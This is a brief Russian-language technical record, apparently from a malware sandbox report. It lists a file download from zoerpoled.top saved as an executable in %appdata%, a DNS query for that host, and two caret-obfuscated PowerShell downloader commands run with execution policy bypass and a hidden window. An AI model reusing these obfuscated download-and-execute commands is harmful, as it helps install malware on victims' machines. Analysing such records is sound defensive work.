Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POweR^SHEl^L.^e^xE^ -^ExeCU^t^IOnpol^IcY B^ypa^Ss^ ^-^Nop^rOFIlE -^WiNDoWST^yLe HidDeN^ ^(NEw-OBJEc^T ^SY^S^tE^m.n^Et.^W^ebC^Lie^nT).doW^n^lo^aDF^i^lE('http://www.zoerpoled.top/re...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "POweR^SHEl^L.^e^xE^ -^ExeCU^t^IOnpol^IcY B^ypa^Ss^ ^-^Nop^rOFIlE -^WiNDoWST^yLe HidDeN^ ^(NEw-OBJEc^T ^SY^S^tE^m.n^Et.^W^ebC^Lie^nT).doW^n^lo^aDF^i^lE('http://www.zoerpoled.top/re...' (со скрытым окном)